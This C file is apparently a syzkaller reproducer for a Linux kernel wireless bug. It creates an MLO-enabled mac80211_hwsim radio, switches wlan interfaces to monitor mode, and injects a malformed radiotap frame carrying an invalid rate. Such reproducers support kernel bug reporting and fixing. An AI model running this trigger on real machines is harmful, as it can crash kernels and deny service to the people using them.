// https://syzkaller.appspot.com/bug?id=e5f752343cd46b032d9bfb95a2e652f2c6ac5934
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <arpa/inet.h>

#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_ATTR_MLO_SUPPORT 25

static int get_genl_family_id(int fd, const char *family_name)
{
	struct {
		struct nlmsghdr n;
		struct genlmsghdr g;
		char buf[256];
	} req;
	struct sockaddr_nl nladdr;
	char resp[4096];
	struct nlmsghdr *nlh;
	struct nlattr *nla;
	int name_len;
	ssize_t ret;
	static unsigned int seq = 0;

	memset(&req, 0, sizeof(req));
	req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	req.n.nlmsg_flags = NLM_F_REQUEST;
	req.n.nlmsg_type = GENL_ID_CTRL;
	req.n.nlmsg_seq = ++seq;
	req.n.nlmsg_pid = 0;

	req.g.cmd = CTRL_CMD_GETFAMILY;
	req.g.version = 1;

	name_len = strlen(family_name) + 1;
	nla = (struct nlattr *)((char *)&req + req.n.nlmsg_len);
	nla->nla_type = CTRL_ATTR_FAMILY_NAME;
	nla->nla_len = NLA_HDRLEN + name_len;
	memcpy((char *)nla + NLA_HDRLEN, family_name, name_len);
	req.n.nlmsg_len += NLA_ALIGN(nla->nla_len);

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;

	if (sendto(fd, &req, req.n.nlmsg_len, 0,
		   (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0)
		return -1;

	ret = recv(fd, resp, sizeof(resp), 0);
	if (ret < 0)
		return -1;

	for (nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, (unsigned int)ret);
	     nlh = NLMSG_NEXT(nlh, ret)) {
		if (nlh->nlmsg_seq != seq)
			continue;

		if (nlh->nlmsg_type == NLMSG_ERROR)
			return -1;

		if (nlh->nlmsg_type == GENL_ID_CTRL) {
			struct genlmsghdr *gnl = NLMSG_DATA(nlh);
			int rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
			struct nlattr *attr = (struct nlattr *)((char *)gnl + GENL_HDRLEN);

			while (rem >= (int)sizeof(struct nlattr) &&
			       attr->nla_len >= sizeof(struct nlattr) &&
			       attr->nla_len <= rem) {
				if ((attr->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_FAMILY_ID)
					return *(uint16_t *)((char *)attr + NLA_HDRLEN);

				int adv = NLA_ALIGN(attr->nla_len);
				if (rem < adv)
					break;
				rem -= adv;
				attr = (struct nlattr *)((char *)attr + adv);
			}
		}
	}

	return -1;
}

int create_hwsim_radio(int fd, int family_id) {
    struct {
        struct nlmsghdr n;
        struct genlmsghdr g;
        char buf[256];
    } req;

    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_type = family_id;
    req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.n.nlmsg_seq = 2;
    req.n.nlmsg_pid = 0;
    req.g.cmd = HWSIM_CMD_NEW_RADIO;
    req.g.version = 1;

    struct nlattr *nla = (struct nlattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
    nla->nla_type = HWSIM_ATTR_MLO_SUPPORT;
    nla->nla_len = NLA_HDRLEN;
    req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
        perror("send");
        return -1;
    }

    char buf[4096];
    int len = recv(fd, buf, sizeof(buf), 0);
    if (len < 0) {
        perror("recv");
        return -1;
    }

    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    while (NLMSG_OK(nlh, len)) {
        if (nlh->nlmsg_seq == req.n.nlmsg_seq && nlh->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
            if (err->error != 0) {
                fprintf(stderr, "Kernel returned error: %d\n", err->error);
                return err->error;
            }
            return 0;
        }
        nlh = NLMSG_NEXT(nlh, len);
    }

    return 0;
}

int set_iface_flags(const char *ifname, short flags, short mask) {
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (fd < 0) return -1;
    struct ifreq ifr;
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
    if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
        close(fd);
        return -1;
    }
    ifr.ifr_flags = (ifr.ifr_flags & ~mask) | (flags & mask);
    if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

struct set_iface_type_req {
    struct nlmsghdr   nlh;
    struct genlmsghdr genlh;
    struct {
        struct nlattr nla;
        uint32_t      val;
    } ifindex;
    struct {
        struct nlattr nla;
        uint32_t      val;
    } iftype;
};

int set_interface_monitor_mode(uint16_t nl80211_family_id, const char *ifname)
{
    int fd;
    int ret = -1;
    unsigned int ifidx;
    struct sockaddr_nl local, kernel;
    struct set_iface_type_req req;
    char rx_buf[4096];

    ifidx = if_nametoindex(ifname);
    if (ifidx == 0) {
        return -1;
    }

    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) {
        return -1;
    }

    memset(&local, 0, sizeof(local));
    local.nl_family = AF_NETLINK;
    if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
        close(fd);
        return -1;
    }

    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = nl80211_family_id;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = 0;

    req.genlh.cmd = NL80211_CMD_SET_INTERFACE;
    req.genlh.version = 1;

    req.ifindex.nla.nla_len = sizeof(req.ifindex);
    req.ifindex.nla.nla_type = NL80211_ATTR_IFINDEX;
    req.ifindex.val = ifidx;

    req.iftype.nla.nla_len = sizeof(req.iftype);
    req.iftype.nla.nla_type = NL80211_ATTR_IFTYPE;
    req.iftype.val = NL80211_IFTYPE_MONITOR;

    memset(&kernel, 0, sizeof(kernel));
    kernel.nl_family = AF_NETLINK;

    if (sendto(fd, &req, req.nlh.nlmsg_len, 0,
               (struct sockaddr *)&kernel, sizeof(kernel)) < 0) {
        close(fd);
        return -1;
    }

    ssize_t len = recv(fd, rx_buf, sizeof(rx_buf), 0);
    if (len < 0) {
        close(fd);
        return -1;
    }

    struct nlmsghdr *nh = (struct nlmsghdr *)rx_buf;
    if (NLMSG_OK(nh, len)) {
        if (nh->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nh);
            if (err->error < 0) {
                close(fd);
                return -1;
            }
        }
    }

    ret = 0;
    close(fd);
    return ret;
}

struct set_freq_req {
    struct nlmsghdr   nlh;
    struct genlmsghdr genlh;
    struct {
        struct nlattr nla;
        uint32_t      val;
    } ifindex;
    struct {
        struct nlattr nla;
        uint32_t      val;
    } freq;
};

int set_interface_freq(uint16_t nl80211_family_id, const char *ifname, uint32_t freq)
{
    int fd;
    int ret = -1;
    unsigned int ifidx;
    struct sockaddr_nl local, kernel;
    struct set_freq_req req;
    char rx_buf[4096];

    ifidx = if_nametoindex(ifname);
    if (ifidx == 0) return -1;

    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) return -1;

    memset(&local, 0, sizeof(local));
    local.nl_family = AF_NETLINK;
    if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
        close(fd);
        return -1;
    }

    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = nl80211_family_id;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = 0;

    req.genlh.cmd = NL80211_CMD_SET_CHANNEL;
    req.genlh.version = 1;

    req.ifindex.nla.nla_len = sizeof(req.ifindex);
    req.ifindex.nla.nla_type = NL80211_ATTR_IFINDEX;
    req.ifindex.val = ifidx;

    req.freq.nla.nla_len = sizeof(req.freq);
    req.freq.nla.nla_type = NL80211_ATTR_WIPHY_FREQ;
    req.freq.val = freq;

    memset(&kernel, 0, sizeof(kernel));
    kernel.nl_family = AF_NETLINK;

    if (sendto(fd, &req, req.nlh.nlmsg_len, 0,
               (struct sockaddr *)&kernel, sizeof(kernel)) < 0) {
        close(fd);
        return -1;
    }

    ssize_t len = recv(fd, rx_buf, sizeof(rx_buf), 0);
    if (len < 0) {
        close(fd);
        return -1;
    }

    struct nlmsghdr *nh = (struct nlmsghdr *)rx_buf;
    if (NLMSG_OK(nh, len)) {
        if (nh->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nh);
            if (err->error < 0) {
                close(fd);
                return -1;
            }
        }
    }

    ret = 0;
    close(fd);
    return ret;
}

int main(void)
{
    int nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (nl_fd < 0) {
        perror("socket");
        return 1;
    }

    int hwsim_id = get_genl_family_id(nl_fd, "MAC80211_HWSIM");
    if (hwsim_id < 0) {
        fprintf(stderr, "[-] Failed to get MAC80211_HWSIM family ID\n");
    } else {
        printf("[+] MAC80211_HWSIM family ID: %d\n", hwsim_id);
        if (create_hwsim_radio(nl_fd, hwsim_id) < 0) {
            fprintf(stderr, "[-] Failed to create hwsim radio\n");
        } else {
            printf("[+] Created hwsim radio with MLO support\n");
        }
    }

    int nl80211_id = get_genl_family_id(nl_fd, "nl80211");
    if (nl80211_id < 0) {
        fprintf(stderr, "[-] Failed to get nl80211 family ID\n");
        return 1;
    }
    close(nl_fd);

    sleep(1); // Wait for interface to appear

    unsigned char pkt[] = {
        /* Radiotap Header (9 bytes) */
        0x00, 0x00,             /* it_version = 0, it_pad = 0 */
        0x09, 0x00,             /* it_len = 9 */
        0x04, 0x00, 0x00, 0x00, /* it_present: RATE (bit 2) */
        0x00,                   /* rate = 0 (invalid legacy rate) */
        
        /* 802.11 Data Frame Header (24 bytes) */
        0x08, 0x00, 0x00, 0x00, /* Frame Control (Data), Duration */
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /* Addr1 (Destination) */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Addr2 (Source) */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Addr3 (BSSID) */
        0x00, 0x00              /* Sequence Control */
    };

    for (int i = 0; i < 6; i++) {
        char ifname[16];
        snprintf(ifname, sizeof(ifname), "wlan%d", i);
        
        if (if_nametoindex(ifname) == 0) continue;

        printf("[+] Trying interface %s\n", ifname);

        // 1. Set interface DOWN
        if (set_iface_flags(ifname, 0, IFF_UP) < 0) {
            continue;
        }

        // 2. Set interface to MONITOR mode
        if (set_interface_monitor_mode(nl80211_id, ifname) < 0) {
            continue;
        }

        // 3. Set interface UP
        if (set_iface_flags(ifname, IFF_UP, IFF_UP) < 0) {
            continue;
        }

        // 4. Set frequency to 2412 MHz
        set_interface_freq(nl80211_id, ifname, 2412);

        // 5. Open packet socket
        int psock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
        if (psock < 0) {
            continue;
        }

        struct sockaddr_ll sll;
        memset(&sll, 0, sizeof(sll));
        sll.sll_family = AF_PACKET;
        sll.sll_protocol = htons(ETH_P_ALL);
        sll.sll_ifindex = if_nametoindex(ifname);

        if (bind(psock, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
            close(psock);
            continue;
        }

        for (int j = 0; j < 10; j++) {
            send(psock, pkt, sizeof(pkt), 0);
            usleep(10000);
        }

        close(psock);
    }

    sleep(1);
    return 0;
}